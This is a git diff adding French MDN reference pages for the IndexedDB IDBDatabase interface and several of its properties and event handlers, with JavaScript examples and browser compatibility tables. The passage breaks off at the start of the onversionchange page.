+<p><strong>Note : </strong>Tout ce qui est fait dans une base de données indexée s'inscrit dans le contexte d'une transaction qui représente un interaction avec les données dans la base. Tout les objets de l'interface IndexedDB (incluant les accès aux magasins d'objets, indexes et curseurs) sont liés à une transaction en particulier. Aussi, on ne peut pas exécuter une commande, accéder aux données ou ouvrir quoi que ce soit, en dehors d'une transaction.</p>
+</div>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Cet objet hérite de <a href="/fr/docs/Web/API/EventTarget">EventTarget</a>.</p>
+
+<dl>
+ <dt>{{domxref("IDBDatabase.close()")}}</dt>
+ <dd>Ferme de façon asynchrone la connexion à la base de données.</dd>
+ <dt>{{domxref("IDBDatabase.createObjectStore()")}}</dt>
+ <dd>Ajoute un magasin d’objet ou un index à la base de donnéeset le renvoie.</dd>
+ <dt>{{domxref("IDBDatabase.deleteObjectStore()")}}</dt>
+ <dd>À partir d'un nom donné, supprime un magasin d'objet et les index associés.</dd>
+ <dt>{{domxref("IDBDatabase.transaction()")}}</dt>
+ <dd>Renvoie une transaction sous la forme d'un objet {{domxref("IDBTransaction")}} sur lequel on peut appeler la méthode {{domxref("IDBTransaction.objectStore")}} afin d'accéder aux magasins d'objet de la base de données.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("IDBDatabase.name")}} {{readonlyInline}}</dt>
+ <dd>Une chaîne de caractères ({{domxref("DOMString")}}) qui contient le nom de la base de données connectée.</dd>
+ <dt>{{domxref("IDBDatabase.version")}} {{readonlyInline}}</dt>
+ <dd>Un <a href="/fr/docs/Mozilla/Projects/NSPR/Reference/Long_Long_(64-bit)_Integers">entier de 64 bits</a> qui indique la version de la base de données connectée. Quand une base de données est créée, cette propriété est une chaîne de caractère vide.</dd>
+ <dt>{{domxref("IDBDatabase.objectStoreNames")}} {{readonlyInline}}</dt>
+ <dd>Une liste de noms (sous la forme d'un objet {{domxref("DOMStringList")}} des magasins d'objets correspondants à la base de données connectée.</dd>
+</dl>
+
+<h3 id="Gestionnaires_d'événements">Gestionnaires d'événements</h3>
+
+<dl>
+ <dt>{{domxref("IDBDatabase.onabort")}}</dt>
+ <dd>S'exécute au déclenchement de l'événement <code>abort</code> quand la tentative d’accès à la base de donnée est interrompue.</dd>
+ <dt>{{domxref("IDBDatabase.onerror")}}</dt>
+ <dd>S’exécute au déclenchement de l'événement <code>error</code> quand la connexion à la base de donnée échoue.</dd>
+ <dt>{{domxref("IDBDatabase.onversionchange")}}</dt>
+ <dd>S’exécute au déclenchement de l'événement <code>versionchange</code> quand la structure de la base de donnée change (l'événement {{domxref("IDBOpenDBRequest.onupgradeneeded")}} ou {{domxref("IDBFactory.deleteDatabase")}} à été demandé ailleurs (probablement dans une autre fenêtre ou onglet sur le même ordinateur). Cela est différent de la transaction correspondant à un changement de version (cf. {{domxref("IDBVersionChangeEvent")}}) mais les concepts sont liés.</dd>
+ <dt>
+ <h2 id="Exemples">Exemples</h2>
+ </dt>
+</dl>
+
+<p>Dans le fragment de code suivant, on ouvre une base de données de façon asynchrone avec {{domxref("IDBFactory")}} puis on gère les cas de succès et d'erreur avant de créer un nouveau magasin d'objet au cas où une mise à jour est nécessaire ({{domxref("IDBdatabase")}}). Pour étudier un exemple complet et fonctionnel, voir notre application <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> (<a href="https://mdn.github.io/to-do-notifications/">voir l'exemple <em>live</em></a>).</p>
+
+<pre class="brush: js;highlight:[13,24,26,27,28,32]">// On ouvre la base de données
+  var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+  // On ajoute les deux gestionnaires d'événements
+  // qui agissent sur l'objet IDBDatabase object,
+  // dans le cas où tout se passe bien ou non
+  DBOpenRequest.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;Erreur lors du chargement de la base de données.&lt;/li&gt;';
+  };
+
+  DBOpenRequest.onsuccess = function(event) {
+    note.innerHTML += '&lt;li&gt;Base de données initialisée.&lt;/li&gt;';
+
+    // On enregistre le résultat de l'ouverture
+    // dans la variable db (on l'utilisera plusieurs
+    // fois par la suite).
+    db = DBOpenRequest.result;
+
+    // On lance la fonction displayData()
+    // afin de remplir la liste de tâches
+    // avec les données contenues dans la base
+    displayData();
+  };
+
+  // Ce gestionnaire permet de parer au cas où une
+  // nouvelle version de la base de données doit
+  // être créée.
+  // Soit la base de données n'existait pas, soit
+  // il faut utiliser une nouvelle version
+
+  DBOpenRequest.onupgradeneeded = function(event) {
+    var db = event.target.result;
+
+    db.onerror = function(event) {
+      note.innerHTML += '&lt;li&gt;Erreur lors du chargement de la base de données.&lt;/li&gt;';
+    };
+
+    // On crée un magasin d'objet objectStore pour
+    // cette base de données via IDBDatabase.createObjectStore
+
+    var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
+
+    // Enfin, on définit les données qui seront contenues
+    // dans ce modèle de données
+
+    objectStore.createIndex("hours", "hours", { unique: false });
+    objectStore.createIndex("minutes", "minutes", { unique: false });
+    objectStore.createIndex("day", "day", { unique: false });
+    objectStore.createIndex("month", "month", { unique: false });
+    objectStore.createIndex("year", "year", { unique: false });
+
+    objectStore.createIndex("notified", "notified", { unique: false });
+
+    note.innerHTML += "&lt;li&gt;Magasin d'objets créé.&lt;/li&gt;";
+  };</pre>
+
+<p>La ligne qui suit permet d'ouvrir une transaction avec cette base de données afin de consulter le magasin d'objets et de manipuler les données qu'il contient..</p>
+
+<pre class="brush: js">var objectStore = db.transaction('toDoList').objectStore('toDoList'); </pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#idl-def-IDBDatabase', 'IDBDatabase')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbdatabase/name/index.html b/files/fr/web/api/idbdatabase/name/index.html
new file mode 100644
index 0000000000..5dfe249927
--- /dev/null
+++ b/files/fr/web/api/idbdatabase/name/index.html
@@ -0,0 +1,151 @@
+---
+title: IDBDatabase.name
+slug: Web/API/IDBDatabase/name
+tags:
+  - API
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBDatabase/name
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>name</code></strong> de l'interface <code>IDBDatabase</code> est une chaîne de caractères, sous la forme d'un objet {{domxref("DOMString")}}, contenant le nom de la base de données connectée.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">db.name</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une chaîne de caractères {{domxref("DOMString")}} contenant le nom de la base de données connectée.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple affiche le nom de la base de données qui est ouverte. La connexion (l'objet {{domxref("IDBDatabase")}}) est affectée à la variable <code>db</code>, puis sa propriété <code>name</code> est affichée dans la console.</p>
+
+<pre class="brush: js;highlight:[16]">// Connexion à la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+// Les deux gestionnaires d'événement activés pour
+// détecter si l'ouverture de la base se déroule
+// correctement ou non.
+
+DBOpenRequest.onerror = function(event) {
+  note.innerHTML += '&lt;li&gt;Erreur au chargement de la base de données.&lt;/li&gt;';
+};
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Base de données initialisée.&lt;/li&gt;';
+
+  // Affecte la connexion à la variable db.
+  db = DBOpenRequest.result;
+
+  // Affiche le nom de la base de donnée (ici "toDoList")
+  // dans la console.
+  console.log(db.name);
+};</pre>
+
+<p class="note">Pour un exemple fonctionnel complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> (<a href="https://mdn.github.io/to-do-notifications/">voir l'exemple <em>live</em></a>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBDatabase-name', 'name')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbdatabase/objectstorenames/index.html b/files/fr/web/api/idbdatabase/objectstorenames/index.html
new file mode 100644
index 0000000000..8d1ed037c6
--- /dev/null
+++ b/files/fr/web/api/idbdatabase/objectstorenames/index.html
@@ -0,0 +1,148 @@
+---
+title: IDBDatabase.objectStoreNames
+slug: Web/API/IDBDatabase/objectStoreNames
+tags:
+  - API
+  - Database
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBDatabase/objectStoreNames
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>objectStoreNames</code></strong>, rattachée à l'interface {{domxref("IDBDatabase")}}, est une liste de chaînes de caractères  ({{domxref("DOMStringList")}}) qui sont les noms des magasins d'objets ({{domxref("IDBObjectStore")}}) connectés à la base de données.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">db.objectStoreNames</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une liste {{domxref("DOMStringList")}} des noms de magasins d'objets ({{domxref("IDBObjectStore")}}) connectés à la base de données.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">// Connexion à la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+// Les deux gestionnaires d’événements activés pour
+// gérer la réussite ou l'échec de le connexion.
+DBOpenRequest.onerror = function(event) {
+  note.innerHTML += '&lt;li&gt;Erreur de chargement de la base de données.&lt;/li&gt;';
+};
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Base de données initialisée.&lt;/li&gt;';
+
+  // Affecte la connexion à la variable db.
+  db = DBOpenRequest.result;
+
+  // Cette ligne affiche sur la console la liste des magasins
+  // d'objets de la base de données
+  console.log(db.objectStoreNames);
+};</pre>
+
+<p class="note">Pour un exemple fonctionnel complet, voir notre application de démo <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> (<a href="https://mdn.github.io/to-do-notifications/">l'exemple <em>live</em></a>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBDatabase-objectStoreNames', 'objectStoreNames')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible via les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible via les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbdatabase/onabort/index.html b/files/fr/web/api/idbdatabase/onabort/index.html
new file mode 100644
index 0000000000..5a4f4f7a50
--- /dev/null
+++ b/files/fr/web/api/idbdatabase/onabort/index.html
@@ -0,0 +1,151 @@
+---
+title: IDBDatabase.onabort
+slug: Web/API/IDBDatabase/onabort
+tags:
+  - API
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBDatabase/onabort
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>Le gestionnaire d'événement <strong><code>onabort</code></strong>, rattaché à l'interface {{domxref("IDBDatabase")}}, s'exécute au déclenchement de l'événement <code>abort</code>, lorsque la tentative d’accès à la base de données est interrompue.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">db.onabort = function() { ... }</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cette exemple illustre un gestionnaire d'événement {{domxref("IDBOpenDBRequest.onupgradeneeded")}} dans lequel on ajoute un magasin d'objet et les deux gestionnaires d'événement <code>onerror</code> et <code>onabort</code> pour gérer les cas d'échec.</p>
+
+<pre class="brush: js">DBOpenRequest.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  db.onerror = function() {
+    note.innerHTML += '&lt;li&gt;Erreur du chargement de la base de données.&lt;/li&gt;';
+  };
+
+  db.onabort = function() {
+    note.innerHTML += '&lt;li&gt;L\'ouverture de la connexion à été annulée !&lt;/li&gt;';
+  };
+
+  // On ajoute un magasin d'objet à la base de données
+
+  var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
+
+  // On définit les index du magasin
+
+  objectStore.createIndex("hours", "hours", { unique: false });
+  objectStore.createIndex("minutes", "minutes", { unique: false });
+  objectStore.createIndex("day", "day", { unique: false });
+  objectStore.createIndex("month", "month", { unique: false });
+  objectStore.createIndex("year", "year", { unique: false });
+
+  objectStore.createIndex("notified", "notified", { unique: false });
+
+  note.innerHTML += '&lt;li&gt;Le magasin d\'objets à été ajouté.&lt;/li&gt;';
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBDatabase-onabort', 'onabort')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Foncionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible via les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible via les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbdatabase/onerror/index.html b/files/fr/web/api/idbdatabase/onerror/index.html
new file mode 100644
index 0000000000..fbfb5efab3
--- /dev/null
+++ b/files/fr/web/api/idbdatabase/onerror/index.html
@@ -0,0 +1,151 @@
+---
+title: IDBDatabase.onerror
+slug: Web/API/IDBDatabase/onerror
+tags:
+  - API
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBDatabase/onerror
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>Le gestionnaire d'événement <strong><code>onerror</code></strong>, rattaché à  l'interface <code>IDBDatabase</code>, s’exécute au déclenchement de l'événement <code>error</code> qui se produit lorsque la connexion à la base de donnée échoue.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">db.onerror = function() { ... }</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple, on illustre un gestionnaire d'événement {{domxref("IDBOpenDBRequest.onupgradeneeded")}} dans lequel on ajoute un magasin d'objet et les deux gestionnaires d'événements <code>onerror</code> et <code>onabort</code> afin de gérer les cas d'échec de la connexion.</p>
+
+<pre class="brush: js">DBOpenRequest.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  db.onerror = function() {
+    note.innerHTML += '&lt;li&gt;Erreur du chargement de la base de données.&lt;/li&gt;';
+  };
+
+  db.onabort = function() {
+    note.innerHTML += '&lt;li&gt;L\'ouverture de la connexion à été annulé!&lt;/li&gt;';
+  };
+
+  // Ajoute un magasin d'objet à la base de données
+
+  var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
+
+  // Définition des index
+
+  objectStore.createIndex("hours", "hours", { unique: false });
+  objectStore.createIndex("minutes", "minutes", { unique: false });
+  objectStore.createIndex("day", "day", { unique: false });
+  objectStore.createIndex("month", "month", { unique: false });
+  objectStore.createIndex("year", "year", { unique: false });
+
+  objectStore.createIndex("notified", "notified", { unique: false });
+
+  note.innerHTML += '&lt;li&gt;Le magasin d\'objets à été ajouté.&lt;/li&gt;';
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBDatabase-onerror', 'onerror')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible via les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible via les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbdatabase/onversionchange/index.html b/files/fr/web/api/idbdatabase/onversionchange/index.html
new file mode 100644
index 0000000000..396a1fb49b
--- /dev/null
+++ b/files/fr/web/api/idbdatabase/onversionchange/index.html
@@ -0,0 +1,157 @@
+---
+title: IDBDatabase.onversionchange
+slug: Web/API/IDBDatabase/onversionchange
+tags:
+  - API
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBDatabase/onversionchange
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
